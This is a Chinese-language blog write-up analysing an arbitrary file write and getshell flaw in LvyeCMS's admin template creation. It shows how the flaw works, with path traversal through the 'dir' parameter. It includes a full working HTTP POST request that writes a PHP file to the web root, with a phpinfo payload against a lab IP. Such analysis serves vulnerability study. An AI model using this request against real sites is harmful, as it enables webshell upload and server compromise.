赞
踩
接着上一篇文章中分析了一个CSRF漏洞,本篇文章依然是这个cms,分析一个任意文件写入Getshell漏洞,文末附上CMS源码,喜欢的点个转发、再看
一、漏洞简介:
在后台模板新建功能处,并没有对写入的内容进行任何的过滤,并且文件后缀就是写死为.php,所以直接可以写入webshell内容进行Getshell。
二、漏洞分析过程:
首先查看控制器方法:\lvyecms\Application\Template\Controller\StyleController.class.php
添加模板文件访问的是add()方法:这里首先会判断是否为POST请求,如果是,获取文件名、模板内容、以及目录名
然后拼接完整的文件路径,然后直接将文件内容写入到完整的文件路径中去
这里可以发现,前面的传参都是我们可控的,但是测试发现直接新建模板文件后,默认是添加在当前模板目录下,但实际是没有权限访问到这个文件的
但是目录名也是通过POST传参获取的,是我们可控的,并且而程序没有对这个目录名dir参数进行任何的过滤,所以我们可以使用../ 的方式,将文件跨目录写入到网站根目录下:
POST /Lvyecms3.1/index.php?g=Template&m=Style&a=add HTTP/1.1Host: 192.168.136.137User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Referer: http://192.168.136.137/Lvyecms3.1/index.php?g=Template&m=Style&a=add&dir=Cookie: UM_distinctid=175fe32e682524-0570e16459db8-13676d4a-144000-175fe32e68355f; CNZZDATA5760804=cnzz_eid%3D1456830227-1606287309-%26ntime%3D1606305680; PHPSESSID=okgritblkcbg4ra256sh5u5me3; __tins__14834816=%7B%22sid%22%3A%201606620965420%2C%20%22vd%22%3A%204%2C%20%22expires%22%3A%201606624174754%7D; __51cke__=; __51laig__=4; menuid=92X-Forwarded-For: 127.0.0.1Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 63dir=../../&file=inc.php&content=%3C%3Fphp%0D%0Aphpinfo%28%29%3B
三、漏洞利用:
1、访问到模板新建功能:
2、输入文件名,文件内容,点击提交后抓包
然后将dir参数改为../../ 然后发包即可:
可以成功访问到根目录下新建的模板文件:
有需要源码的后台留言:lvyecms,即可获取!
点个赞和在看吧,欢迎转发!
点个赞和在看吧,欢迎转发!
点个赞和在看吧,欢迎转发!
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。